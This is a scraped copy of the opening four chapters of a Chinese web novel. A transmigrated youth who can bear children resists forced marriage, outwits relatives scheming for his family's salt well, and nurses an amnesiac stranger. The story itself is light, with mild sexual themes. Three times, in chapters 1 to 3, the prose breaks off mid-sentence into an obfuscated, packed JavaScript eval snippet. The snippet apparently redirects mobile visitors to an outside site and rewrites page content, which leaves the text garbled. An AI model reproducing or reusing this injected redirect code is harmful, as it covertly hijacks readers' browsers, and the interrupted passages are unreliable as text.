《偷生小太子后疯批暴君找麻了》 1. 第 1 章 日上三杆,阮锦终于起了身,他伸了个懒腰,哄了自己半天,才算接受了自己穿越了的现实。 是的,昨天他和一群同学去渊帝陵研学,由于尿急找厕所,误入一个无人的墓室,又误触了机关,醒来时便在这个传说中的渊朝了。 哦,它现在还不叫渊朝,应该叫渊国。 正是四分天下,互相制衡的一个时代,但他知道过不了多久,这个世界就会陷入战乱。 因为渊王那个嗜血好杀的暴君,马上就会掀起一场腥风血雨,继而□□后便会一统整个中原。 而阮锦所穿越的这个人,既不是谋士,也不是大将军,而是一个——哥儿! 没错,能生孩子的那种! 哥儿在历史上只存在过极其稀少的一段时间,因为过于稀少,后来便没再留存下来,但关于哥儿的历史资料却不少。 比如他们是男人,却有着像女性一样的生育能力,古代王公大臣均以养一名绝色哥儿为荣,也是因为稀少,他们争相被送给有权有势的贵族。 但凡是关于哥儿的记录,都伴随着各种香艳旖旎的花边故事,他深刻怀疑哥儿的存在就是为了搞黄·色的。 而阮锦所面临的情况,却比一般的哥儿更加糟糕,他刚起身,便听到外面传来一阵嘻笑声:“哎哟哟,要不就说锦哥儿有福气,这睡到现在还没起呢?我这厢里,先给锦哥儿道喜了。” 小斯四儿匆忙跑了进来,慌里慌张道:“少爷少爷,那媒婆又来了!” 阮锦按了按太阳穴,看着满屋子的素白,叹了口气道:“来就来了呗,我还得出去迎接她吗?” 四儿一跺脚,说道:“少爷你就不着急吗?老爷这才刚过头七,他们就急着把你嫁出去!不就是想抢占咱们阮家的盐井吗?只恨少爷不是男儿身,天生生就成了哥儿!否则,这些人哪敢欺负到咱们头上!” 古代就是这样,不光女人被歧视,哥儿更加被歧视。 阮锦起身道:“好了,陪我去会会这个张媒婆!” 此时的阮锦即将面临三大难题,第一个,原身的爹刚刚去世,因为没有儿子,哥儿出嫁后家财就必须归入家族。 第二个,原身必须要嫁人,因为哥儿一满十八周岁,就会进入成熟期。成熟期的哥儿夜夜孤枕难眠,必须要有男人在身边才能安抚他们身上的情·欲。 第三个,眼下张媒婆给他介绍了三个男人,算是十里八乡的富户。但这些男人全都是看上了阮家的家产,毕竟阮家有这十里八乡唯一一口盐井。不能说多么的富贵,但在这山野之地,也算是手握财富密码了。 看着张媒婆递上来的三张画像,阮锦的唇角抽了抽,指着其中一个问道:“张婶儿啊!这……是个人吗?” 张媒婆笑得一脸尴尬,说道:“哎哟,瞧哥儿说的,别看赵员外矮胖了些,但他家可是隔壁赵家镇的乡绅!你嫁过去,那就请等着吃香的喝辣的吧!” 阮锦又看着第二张,跟前一张有着鲜明的对比,那人瘦得像条麻绳,仿佛一阵风就能吹跑。 张媒婆笑出了一脸菊花纹,说道:“这位是隔壁县的李县令,去他家做九姨娘,他前边儿八个都没了,你迟早扶正!” 阮锦:“没了的意思?” 一旁四儿找补:“死了。” 阮锦:“哦嚯……真能克啊!” 张媒婆骂了一句:“你不说话没人把你当哑巴!” 阮锦又看第三张,长得倒是像个人,都是一个鼻子俩眼睛的,就是嘴巴好像被人打歪了。 张媒婆介绍道:“刘老爷,咱们镇上唯一的举人老爷,不过你得跟着他去岭南赴任,以后可就是官家夫人了!” 阮锦:“去流放?” 张媒婆啧了一声道:“瞎说什么呢!人家是去当县尉的!我可是见过的,县尉家的娘子穿金戴银,那小丫鬟可是成堆成堆的往府里送。” 阮锦:……那很有生活情趣了。 阮锦头疼道:“张婶儿,你这几个人我都看过了,但是我一个也看不上。要不你再找找?多找几个,我也好挑挑。” 张媒婆面露为难,说道:“哥儿,不是我说,你也太挑了。就这些,咱们村子里随便谁家都高攀不起!要不是看在你爹死得早,我这压箱底的好人家都不舍得拿出来!” 阮锦心想,你不就是收了二叔和三叔的钱吗? 只要我嫁出去了,我们大房的盐井可就是他们的了。 阮锦道:“张婶儿没有了吗?没有就算了,昨天邻村的吴大娘可说了,她那里有更好的人家呢。” 张媒婆一听,当即说道:“别别别,有有有!哥儿你且等等,我……我保证两天内,给你找到更合适的人选。你可千万别听那吴玉花的,她手上能有什么好人家啊!不是穷,就是丑,有的还打老婆!哥儿你别犯傻,一定等婶子两天。” 阮锦:果然竞争对手的一手资料同行掌握的最精准。 送走了张媒婆,四儿去锁了门,回来气鼓鼓的说道:“少爷,二老爷和三老爷就这么急着把你嫁出去吗?那盐井,他们早就看上了,老爷还在的时候他们就惦记过。还因为这件事儿吵了一件,这盐井分明是老爷盘下来的,他们俩却争起来了!真是不要脸!” 阮锦冷笑一声,心想这不就跟农村人家没有儿子,被兄弟家吃绝户惦记家产一个意思吗? 四儿还在那里碎碎念:“少爷,你真要嫁吗?就这么便宜了二老爷和三老爷?” 如果是从前的阮锦,他肯定会说:“我一个哥儿,能有什么办法?左右是守不住家产的。还不如早早嫁了,有这盐井在,二叔和三叔总算是个能帮衬的娘家人。” 结局就是,他们收了一大笔聘礼,把阮锦嫁给了死了九个老婆的县令,不到三年便把人给折磨死了。 阮锦道:“当然不嫁!四儿,我自有办法。你帮我准备一些成婚所需的东西,三天内我自会招赘婿进门!” “招赘婿?”四儿的眼睛亮了亮,点头道:“对啊对啊!少爷你这个办法好,只要招了赘婿,生下小少爷,咱们阮家大房不就后继有人了吗?” 这边阮锦要招赘婿的消息传到了阮二郎和阮三郎的耳朵里,两兄弟急得仿佛热锅上的蚂蚁开始团团转。 两兄弟一碰头,都觉得这件事绝对不能让阮锦办成! 阮二郎家的狞笑一声,说道:“小贱货,还想招赘婿,就凭他,能压得住赘婿吗?” 阮三郎家的急得不行,问道:“二嫂,平日里就你法子最多,你倒是给出个主意啊!” 阮二郎家的眼睛一转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785394|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低声音对他们道:“你们几个,明天就这么和外面的人说……” 第二天,阮锦还没起床,四儿就气呼呼的跑回了家,一边跑一边骂骂咧咧的进了院门。 阮锦正在院子里喂鸡,这小院儿不大,养了十几只鸡,两头牛,三只羊,还有一群在门外水塘里凫水的鸭子。 一见四儿空着手回来了,便疑惑道:“四儿,我不是让你去买办喜事用的东西吗?你怎么什么都没买回来?” 四儿骂道:“别提了,少爷,村子里的人都在传你……你……” 阮锦啧了一声,问道:“我什么?你倒是说清楚啊!” 四儿跺了跺脚道:“他们说你克夫!谁入赘谁死!除非是嫁出去,否则连克九夫。” 阮锦:……哦嚯,那岂不是和那位李县令旗鼓相当? 不用说也知道,这些闲话是谁传出去的,只是古代人迷信,都信这些风言风语,要不就说谣言害死人呢! 呵呵,愚昧! 阮锦叹了口气,心想这样下去不行,他必须得想个办法。 实在不行,明天他就去别的县跑一趟,看看能不能买个夫君回来。 这么打着主意,阮锦便打算明天去一趟县城的人市,自己手上揣着身契,可能反而比招赘一个来得安全。 于是第二天一早,阮锦便拿了几惯钱,带着四儿套车进城。 谁料一开门,便看到门外倒着一个人,那人的额头上有一个大包,身上的衣服被荆棘割得破破烂烂,脚上还夹着一个捕兽夹。 伤口深可见骨,血流了一地。 四儿吓得大叫一声,嚷嚷道:“少……少爷!这这这儿……有个人!” 阮锦一看,是个男人,而且还是个人高马大的男人,看上去受伤不轻,应该是晕过去了。 他赶紧上前查看那人的情况,探了探鼻息道:“还好,还好,有气儿。四儿快,把他扶进房里去。” 四儿担忧道:“少爷,这这这……不会是歹人吧?” 阮锦道:“是不是歹人,那也得等他醒了再说吧?这样,你去村西头儿叫九大夫过来,再去县城报官。是不是歹人,让捕快来看看就知道了。” 四儿应承着,和阮锦一起把人扶进屋,转身跑去请郎中了。 阮锦打量着床上的男人,虽然一脸脏污,倒是生得颇为俊挺,剑眉入鬓、浓发如墨、鼻梁高挺,下颌线瘦削,由于眉骨很高,显得五官十分立体。 漆黑纤长的睫毛在眼下投下浓黑的阴影,尖削的下巴上泛着青色的胡茬,倒是男人味十足。 更别提那双长腿,和优越的九头身比例。 真是个妥妥的美男子,阮锦这样想着。 这时,郎中来了,拎着个药箱,一身素白色衣袍,披着头发,显然是被四儿催急了,连髻都没来得及束。 阮锦赶紧朝他招手:“九哥,快来看看这个人怎么样了。” 被称为九哥的郎中赶紧上前查看那人的伤口,脚上的捕兽夹已经被拆除,伤口也简单的清理过,他查看过后又给他把了脉,开口道:“这些皮外伤,倒是不打紧。只是……额头上的伤有点严重,就怕醒不过来。就算能醒过来,可能……可能脑子也会不大灵便。” 阮锦:……哦,脑震荡了? 2. 第 2 章 九大夫给开了药,有外敷的也有内服的,外敷的阮锦给他敷上了,内服的需得等他醒了再煎。 倒是有药丸,九大夫离开的时候给他服了一粒,说是如果能醒来,就继续给他抓药,如果醒不过来,那大概就是醒不过来了。 阮锦打算尽人事听天命,他穿越过来第二天,总不能眼睁睁看着一条人命在他眼前死去。 四儿回来的时候带了一名捕快,那捕快过来看了一眼,只道看衣著像是个富家公子,大概率不是什么流匪贼寇,只让阮锦去府衙登记一下,有任何问题随时告知县尉。 阮锦让四儿打了水,给那人擦了擦手和脸,擦完后更是被那张脸惊为天人。 四儿进来也被惊艳了:“少爷,这人倒是生得好看,比九哥还好看。” 阮锦笑话他:“你是不是天天偷看九哥?还是看上人家了?” 四儿气的直跺脚,暴躁道:“少爷你这个人怎么这样!我都还没取笑你,你倒是取笑起我来了!谁家好哥儿往家捡野男人,看看你明天还招不招得来赘婿!” 野男人:谢谢啊! 阮锦哄道:“好了好了,我就跟你开个玩笑,怎么还气上了?” 四儿冷哼一声,转身去做早餐了,不想理会这个臭少爷。 因为这个男人,阮锦没能买成夫君,他还有几天就满十八周岁了,这几天他的身体和情绪状态都很不对。 是的,十八岁了,小哥儿的成熟期要到了,其实昨天晚上他就意识到一些什么,脑子里总是有意无意的幻想到性,而性幻想的对象也都是男人。 从前他无感的男明星,竟然出现在了他的春梦里。 这可真是他娘的……香蕉你个小西瓜! 更要命的是,哥儿是个受,是被插·入的那个,而他重生前是个妥妥的直男,且在高中的时候谈过两个女朋友。 这也是为什么他急于给自己找赘婿的原因,人类,是无法战胜激素本能的,成熟期的哥儿就像春季的猫儿一样,只是本能的想要繁衍。 嗯,他想好好的和男人炒菜,这是直男的耻辱! 看着躺在床上的男人,阮锦叹了口气,心想希望他能早点醒过来,不过就算醒不过来他也拖不起了,明天必须得给自己买个夫君。 这样想着,阮锦起身去了院子里。 鸡窝里下了好几个蛋,他捡了鸡蛋,又去门外的池塘边捡了十几个鸭蛋。 阮家村山清水秀,风景十分美丽,尤其是他家门前的池塘,正值初夏,花红柳绿倒映在水塘里,看得人心旷神怡。 排除自己穿成了个哥儿这件事儿,阮锦其实还挺喜欢这个地方的。 好吧! 除了村子里的人讨厌了些。 只见不远处,两个来池塘边洗衣服的妇人正朝着他指指点点,嘴里还说着一些闲话。 阮锦:不听,是差评! 然而他不听,那些闲话还是传进了他耳朵里:“听说是个克夫的,一早还捡了个男人回家。” “谁说不是,就这还想招赘婿呢,我看也没人敢要他!” 阮锦:操,当面蛐蛐啊? 阮锦呵呵一笑,走到两位大妈面前,热情的朝着她们打着招呼:“大娘,六嫂子,洗衣服呢?” 她俩仿佛方才蛐蛐的不是他一般,也乐呵呵的朝他打招呼:“是啊锦哥儿,你捡鸭蛋啊?” “是呢!”阮锦应着,忽然大喊道:“哎呀!水蛇!三婶,爬到你后腰那里了!六嫂子,小心点,你屁股后头也有!” 两个女人吓得滋儿哇乱叫,一边回头一边跑,嚷嚷着:“哪儿有蛇?蛇在哪儿呢?” 接着就是扑通扑通两声,两个女人全跌进了水里。 阮锦拍着大腿笑道:“大娘,六嫂子,是天儿太热了吗?你们怎么还跳水里去啦?” 两人一看就知道被骗了,指着岸上骂道:“好你个阮锦,你个小贱货,嫁不出去还不让人说了?” “你有本事捡男人,没本事听闲话啊!我倒是看你有多大本事,这辈子也别想招到赘婿了!” 阮锦乐呵呵道:“大娘,嫂子,下次洗衣服小心点儿,幸亏这儿水不深,你们就自己爬上来吧!” 说完阮锦捡了十几个鸭蛋便回家了,独留后面两个嗷呜乱叫往岸上爬的女人在他身后骂骂咧咧。 君子报仇十年不晚,但是哥儿就得当场报回去。 阮锦心情还不错,把鸭蛋和鸡蛋放进篮子里,发现篮子里足有几十枚鸭蛋和上百枚鸡蛋了。 原主的爹爹喜欢吃炒蛋,自从他老人家去世后,家里的蛋就积攒了起来。 阮锦心想,这么多的蛋,再放下去就放坏了,不如腌起来。 可是他又不爱吃咸鸭蛋的蛋青,有些太咸了,难怪不少穿越小说的作者喜欢做松花蛋。 石灰随处可取,倒是做起来简单方便。 可他又觉得松花蛋重金属含量高,有点不太养生了。 抬头看见山坡上的茶田,阮锦心想,何不把它们做成茶叶蛋? 这样想着,阮锦便起身去厨房找出了陈年的茶叶,又叫上了四儿,一起煮茶叶和鸡蛋。 四儿看着他忙碌的身影,问道:“少爷,您这是要做什么?” 阮锦道:“做茶叶蛋,筐里攒了一百多只鸡蛋了,再攒下去都能孵出小鸡来了。我把它们做成茶叶蛋,拿去给盐井里的伙计们吃。” 这个盐井是阮家安身立命的根本,伙计们也是,他们都是附近村子里的村民,跟着阮大郎干了将近十年了。 如今这个关键时期,也得把他们安抚好了。 四儿意外道:“少爷,你以前可是从来不管这些事的。” 阮锦的脑子里有原主的记忆,的确是个被爹爹宠坏了的主儿,他甚至还能看清原主前后三年的遭遇,不知道是不是穿越附赠的大礼包。 正是因为能看到他三年后的遭遇,盐井被两位叔父卖掉,钱财瓜分,他的聘礼也被两位叔父扣掉,最后还被夫家折磨死了,死的时候身上连一块好肉都没剩下。 阮锦才想着改变眼前的这一切,不能重蹈覆辙。 阮锦道:“那能怎么办?爹爹不在了,以后的路只能我自己一个人走了。” 四儿吸了吸鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785395|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上前抱住阮锦道:“少爷,四儿和你一起走!” 四儿也是个小哥儿,他们村里,就两个哥儿,就是这对主仆。 当年如果不是四儿被阮锦救下,他可能就被卖进青楼了,青楼里的哥儿非常受欢迎,听说比点姑娘的价钱要贵上十倍。 因为稀少,猎奇,还因为他们特殊的身体构造,能让爷们儿更快活。 阮锦感动的拍了拍四儿的手背,说道:“别肉麻了,快干活儿。” 主仆俩腌了一百多个茶叶蛋,又把鸭蛋洗净,打算把鸭蛋也一并腌了。 腌完了茶叶蛋,眼看便正午了,阮锦又去看了一眼那捡来的野男人。 他倒是睡得踏实,还没有要醒来的意思。 阮锦看着他那张好看的脸,心想如果他醒过来,对自己以身相许,那自己是答应还是不答应呢。 阮锦:…… 呸,臭不要脸的,人类果然是靠本能活着的,哥儿的脑子里还真是不健康。 难怪没能从人类的进化中存活下来,弊端着实太多。 阮锦一边唾骂着自己大黄小子,一边准备去门外的菜园子里拔几颗萝卜,准备晚点做点酸辣萝卜下饭,又见结了几枚茄子,想着这东西裹点肉馅儿炸一炸,味道也是一绝。 古代乡村就是这一点好,所有蔬菜都是天然无污染,随手摘下来就可以吃。 连萝卜都没有涩口的辣味,茄子都透着一股子清甜。 他又拔了几棵青菜,想着做点瓦片五花肉,裹着青菜叶子正好吃。 想到这里,阮锦的心情忍不住好了些,他就这一点好,哪怕处在这样的环境里,也很快就能把自己哄好,最擅长苦中作乐,随遇而安。 厨房里有四儿称回来的五花肉,他找了一片瓦片洗干净,把五花肉切成薄片,瓦片上刷上油,把肉片平铺到上面煎熟。 茄子切成薄片,里面夹上拌好的肉馅儿,放到猪油里一煎,外酥里嫩。 萝卜也是切成薄片,放上盐糖醋,再放上一些姜蒜和小米辣,放进罐子里腌好放到一边。 再打上一碗青菜鸡蛋汤,汤还未出锅,香味儿就飘到了老远。 路上在阮锦家经过的村民闻到香味儿都忍不住驻足,猜测阮锦家在做什么好吃的。 还有人在指指点点:“这是四儿做的吧?阮锦可不会做饭,也没见他下过厨房啊!” 这时四儿从远处回来,手上还拎着一筐桃子,好奇的闻着门外的香味儿,问道:“谁家做好吃的了?这么香?” 路人好奇,竟不是四儿做的,难道真是阮锦在下厨? 此时阮锦刚好把食物端上桌,招呼刚回来的四儿道:“四儿,快来吃饭了!” 四儿放下篮子,问道:“少爷,你做了饭?哇,好香啊!可是……少爷,你怎么会做饭的?” 阮锦道:“闲的没事儿就做了,快来尝尝味道怎么样。” 四儿应道:“好的少爷,我这就去洗手。” 说着他赶紧进屋拿毛巾,一进去便听到屋内传来嗷呜喊了一嗓子:“啊啊啊啊少爷,那那那那个野男人他他他他醒了!” 3. 第 3 章 野男人睁开眼睛,本来闭着眼睛的时候就已经很好看了,但是在一双深邃如幽潭的眼睛映衬之下,更显得一张俊脸世间罕有。 阮锦进来的时候便被这眼前男人的容貌惊得微怔了一下,只见英俊的男人站在窗外洒进来的阳光里,光线在他周身打了一层毛边,身高目测足有一米九,腰身比例更是完美到惊天动地。 只是,九大夫说得对,眼下这男人看上去似乎不太正常,眼眼虽好看,眼神却没有聚焦,仿佛是个人机。 阮锦上前朝他招了招手,问道:“你好,会说话吗?” 男人对他还有是点反应的,只是看向他的眼神里露出些许迷茫,一张好看的俊脸似乎在思索,又似乎在不解。 阮锦上前扶住他,说道:“没关系没关系,我先自我介绍一下,我叫阮锦,你受伤晕倒在我家。在你伤好之前,或者在你的家人找到你之前,可以一直在有家养伤。” 四儿却有些不愿意,小声道:“少爷,真的要留下他吗?万一……我是说万一,他的身世有麻烦,咱们岂不是也会有麻烦?” 阮锦想了想,说道:“四儿你说的对,可是……你有没有发现,他是个男人?” 四儿不是很懂,问道:“是个男人……啊,怎么了?” 阮锦道:“我们先养一段时间,如果有人找,就还回去,如果没人找,我就把他招赘了吧!与其买一个同样不知根知底的,左右我在这十里八村也被我二叔二婶败坏的找不到赘婿了,招了这个傻子也算是个退路!” “可是……”四儿可是了半天,憋了一句:“可是他傻啊!” 阮锦上前拍了拍他结实的胸膛,说道:“他傻,是因为头上的伤。再说了,虽然他傻,可是他俊啊!身体还这么结实,基因看着就不错,别浪费了,拿来用用再说。” 四儿:“……基因是什么?” 阮锦扶着傻子一瘸一拐的往外走,说道:“基因就是……龙生龙,凤生凤,老鼠的儿子会打洞。好基因生出好样貌,哪怕以后傻子被接走了,孩子左右他是接不走的!” 四儿停在原地想了片刻,忽然也笑了起来,快步上前道:“少爷,你说得对啊!这野男人生得如此英俊,生出来的孩子也定然不会差!” 阮锦把傻子扶到餐桌边坐下,端起一碗青菜豆蛋汤来吹了吹,盛了一勺送到了他的嘴边,问道:“是不是饿了?啊……” 傻子机械的张开嘴,喝下了一勺汤。 阮锦心想还好,傻的没有太彻底,至少知道吃东西。 他又拿了一块肉沫茄合递到了傻子手上,说道:“这个脆脆的,很好吃的,尝尝看?” 傻子眼神呆滞的咬了一口,阮锦笑着问:“好吃吗?” 傻子终于发出了醒来后的第一个音节:“嗯……” 那声音低沉悦耳,带着胸腔的震鸣声,莫名给人一种淡淡的威压,却又因为他过于人机,而显得滑稽而可爱。 阮锦被他给逗笑了,说道:“好吃就多吃点,是不是饿坏了?一会儿吃完饭我给你熬点药,你喝了以后伤就很快能好了。” 其实刚刚也只是他的一个想法,傻子肯定有傻子自己的人生,他如果清醒了,阮锦是不会拦着他离开的。 看他的衣著,自然不是一般的人家,还有他怀里搜出来的银两和饰物,看着就是有钱人家的大少爷。 这傻子目测二十来岁,古代成婚早,说不定家里已经有妻儿了呢。 而阮锦的目的也只有一个,那就是借个种,一是压制住自己成熟期第一次的躁动,二是留下一个血脉,堵住二叔家和三叔家的嘴。 饭后,阮锦给傻子熬了药,一勺一勺喂给他喝了,傻子乖的很,让干什么就干什么,是个彻头彻尾的人机。 不过这么听话的帅哥,阮锦看着还挺喜欢的,想了想说道:“我总不能一直叫你傻子吧?这样,我给你取个名字,你就叫……阿蛮!你这一身蛮力,一看就是个中用的。阿蛮!” 傻子的眼睛亮了亮,重复了一句:“阿蛮。” 阮锦笑了,摸了摸他的发顶道:“乖,看来你还挺喜欢这个名字的。” 下午阮锦无事,便打算再去集市上买只鸡,阿蛮身上的伤不轻,自然要好好补一补。 再说,如果阮锦真想找他借种,那也得把他的身体调理好了,据说精子质量越好越容易受孕。 一想到这件事,阮锦就开始头大,心想自己堂堂二十一世纪十八岁直男男大,就这么轻易的被生子的激素设定给支配了吗? 他微微叹了口气,心想那还能咋的,自己又改变不了任何! 四儿在厨房里洗碗,他冲着里面喊了一声:“四儿,我去集市了,你照顾好阿蛮!” “阿蛮?”厨房里传来四儿的声音,他探头道:“少爷,你这么快就给那傻大个子取好名字了?行,阿蛮,倒是挺适合他的。” 阮锦拎了个篮子刚要出门,迎面便碰到了满脸堆笑的阮二郎家的,一进门就热情的朝他打招呼:“哟,锦哥儿,这是要出门?” 阮锦啊了一声,问道:“二婶什么事儿?” 阮二婶笑嘻嘻的拉着他的手,坐到了院子里的石凳上,说道:“锦哥儿啊,婶子过来,是有一桩好事。” 阮锦皱了皱眉,心想你嘴里怕是说不出什么好事,二叔和三叔司马昭之心,想霸占自家大哥的盐井,还不想落人口实,便让家里的女人出来冲锋陷阵。 阮锦问道:“二婶子有什么好事儿?” 阮二婶拍着他的手背道:“村子里的那些风言风语啊,婶子都听说了。你可千万别听他们胡言乱语,婶子从小看着你长大,能不知道你是什么样的孩子吗?你又聪明又漂亮,谁娶了你不是福气啊?” 阮锦的心里呵呵一声,心想不知道是谁在外面说我好吃懒做,睡到日上三杆才起床的。 阮锦看了看天,说道:“婶子,我一会儿还有事儿,要不您就有事直说?” 阮二婶子笑了笑,说道:“是这样的,我呢……有个远房的表姐。她有个儿子刚好适龄成婚,我这不是看着你遇到了些麻烦,想着咱亲婶子能帮你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785396|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把就帮你一把么。你这个表哥人长得壮实,颇是有一把子力气,可是个干活儿的好手。就……上回来给婶子帮忙的,你见过的。到时候他入赘过来,咱们挨得近,婶子也能帮你带带孩子不是?” 阮锦心中冷笑,脑子里浮现出一个黑矮胖的形象,那位表哥统共不到一米五,体重倒是得有一百八。 阮锦一边起身一边道:“那可真是谢谢二婶子了,这样,我先去趟集市,等我回来我们再聊这件事好吗?” 阮二婶子一脸的喜色,说道:“好好好,晚上一定要来婶子家吃野菜团子。婶子的野菜团子,那可是一绝!” 阮锦乐呵呵的应着,拎上篮子送走了阮二家的。 四儿从厨房里跑出来,拉着阮锦道:“少爷,你该不会真要和二婶家的表哥相亲吧?她……她可没安什么好心!” 阮锦冷声道:“我当然知道他没安好心!这样四儿,你待会儿去一趟三婶家,你就这么跟他说……” 下午阮锦回来的时候,便听到三婶在二婶家门口骂:“不要脸,不要脸,有些人是真不要脸!天天往自己口袋里算计,仔细哪天钱没花完,人没了!” 二婶自然也不是吃素的,她推开柴门就朝着三婶喊:“你骂谁不要脸呢?柴桂兰,你骂谁不要脸呢?” 三婶尖着嗓子道:“骂你,就骂你!你自己干了什么你不知道吗?” 二婶伸手就去扯三婶的头发:“你管我干什么了!有本事你也干啊!你有这个本事吗?被娘家卖出来的主儿,倒是回娘家找人啊!” 三婶更是泼辣的不像话,一把就把二婶的脸给挠花了,喊道:“别以为我不知道,你不就是想独占盐井吗?呵,当别人都是傻子呢?那盐井一年几百两银子的收成,你倒是会算计!” 四儿拉着刚回来的阮锦扒着墙头看热闹,阮锦也是奇了,这个世界上怎么会有人整天惦记别人的家财。 阮锦觉得挺没意思的,说道:“有了这一场,怕是二婶和三婶这几天不会再来骚扰我了。四儿,我买了两只鸡。你炖一只,我做一只炸鸡。” 穿过来好几天,他有点馋炸鸡薯条了,园子里种了土豆,他去刨几只,他又买了点蘑菇和青菜,做点天妇罗。 四儿应了一声去炖鸡,阮锦去看了一眼阿蛮,发现阿蛮正在用一把刻刀在雕东西,似乎在雕一只隼。 他没想到,阿蛮竟然还是个手艺人。 他上前拍了拍阿蛮的发顶,说道:“等着,我去给你做好吃的。” 阮锦的菜篮子里全是各种新鲜的食材,他特别喜欢古代这一点,所有食材都是现摘现杀的,入口的全是纯天然无公害。 相较于他原本身体里的元素周期表,他觉得吃这些东西者能延年益寿。 阮锦转身刚要去厨房,就被阿蛮给拉住了,递给他一个小木雕,那小木雕小小一只,显然是今天阿蛮刚雕的,那是一只小小的蝴蝶。 栩栩如生,十分精致。 蝴蝶上穿了一根皮绳,被做成了项链,倏忽间就被阿蛮套到了阮锦的脖子上。 4. 第 4 章 阮锦有些意外的看着那只蝴蝶,问道:“给我雕的?” 阿蛮机械的点了点头,继续垂眸去雕他手上的东西了。 阮锦笑了笑,拍了拍他的胳膊道:“再雕一个吧!雕完以后,我来镶几枚好看的宝石,到时候咱俩一人一个。” 阿蛮的眼睛亮了亮,乖乖的嗯了一声,转身便一瘸一拐的去柴堆里找木头了。 看着阿蛮可爱乖巧的样子,阮锦突然觉得这样也挺好的,古代的男人没有几个不大男子主义的,哪怕是入赘,多数也爱软饭硬吃,甚至还有吃绝户的。 小阿蛮虽然摔傻了,可他这么听话,还给自己雕蝴蝶吊坠,就这都比多数男人可爱多了。 阮锦乐呵呵的去了厨房,俗话说民以食为天,弄吃的,他可是认真的! 阮锦走进厨房,开始准备做炸鸡。他先将买来的鸡清洗干净,切成适合炸的大小,然后用盐、胡椒粉、蒜末和姜末腌制了一会儿,让鸡肉入味。 接着,他准备了两碗面粉,一碗加入适量的盐和黑胡椒,另一碗则打入两个鸡蛋,搅拌均匀。阮锦将腌制好的鸡肉先裹上一层蛋液,再裹上一层面粉,确保每一块鸡肉都均匀地裹上了面衣。 “四儿,帮我把油烧热。”阮锦一边忙活一边吩咐道。 四儿应了一声,赶紧去生火,将锅里的猪油烧至七成热。阮锦将裹好面衣的鸡肉块小心地放入热油中,瞬间,油锅里发出“滋滋”的声响,鸡肉的香气也随之飘散开来。 猪油不仅可以做炸鸡,甚至可以做到外皮酥脆、肉质多汁的惊艳口感! “好香啊!”四儿忍不住咽了咽口水,眼睛直勾勾地盯着锅里的炸鸡。 阮锦笑了笑,说道:“别急,等炸到金黄酥脆就可以出锅了。” 他一边炸鸡,一边开始准备天妇罗。他将土豆切成薄片,蘑菇和青菜也分别处理好。接着,他调了一碗面糊,将土豆片、蘑菇和青菜裹上面糊,放入油锅中炸至金黄。 “少爷,你这手艺真是绝了!”四儿看着锅里金黄酥脆的炸鸡和天妇罗,忍不住赞叹道。 阮锦笑了笑,说道:“这算什么,等以后有机会,我再给你做更多好吃的。” 炸鸡和天妇罗都炸好后,阮锦将它们捞出沥干油,装盘端上了桌。他又煮了一锅米饭,准备了一碗清汤,一顿丰盛的晚餐就这样准备好了。 “阿蛮,来吃饭了。”阮锦招呼道。 阿蛮放下手中的刻刀,乖乖地走到餐桌边坐下。阮锦给他夹了一块炸鸡,笑着说道:“尝尝看,好不好吃?” 阿蛮咬了一口炸鸡,外皮酥脆,内里鲜嫩多汁,他乖乖的点了点头,低声说道:“好吃。” 阮锦满意地笑了,自己也夹了一块,一口咬下,顿时满口生香。他心想,虽然这里没有肯德基,但自己做的炸鸡也不差嘛。 好在穿过来的这户人家虽然不算富裕,倒也算是小康之家,那盐井每个月都有几十两银子入账,足够阮锦和四儿衣食无忧了。 四儿也迫不及待地夹了一块炸鸡,咬了一口,顿时眼睛一亮:“少爷,这炸鸡真是太好吃了!比镇上酒楼里做的鸡还要好吃!” 阮锦道:“喜欢就多吃点。” 三人围坐在餐桌边,享受着这顿美味的晚餐。阿蛮虽然不爱说话,但吃得却很认真,每一口都细细品味。 阮锦看着他,心中不禁生出一丝怜惜,心想如果阿蛮能恢复记忆,或许他会有更好的生活。 吃完饭后,阮锦收拾了碗筷,四儿去洗碗,阿蛮则继续坐在桌边,手里拿着刻刀,专注地雕刻着那只木隼。 阮锦走过去,坐在他旁边,轻声问道:“阿蛮,你在雕什么?” 阿蛮抬起头,眼神依旧有些迷茫,但手中的动作却不停。他低声说道:“隼。” 阮锦笑了笑,说道:“隼是猛禽,象征着力量和自由。阿蛮,你是不是想飞走?” 烛火下,阿蛮看着阮锦,机械的把隼放到了桌子上,又从怀里摸出一只蝴蝶递给了阮锦:“这个……给你。” 阮锦接过另一只木蝴蝶,又将方才阿蛮给他的那只拿了出来,两只蝴蝶一大一小,十分别致,都用黑色的皮绳穿着。 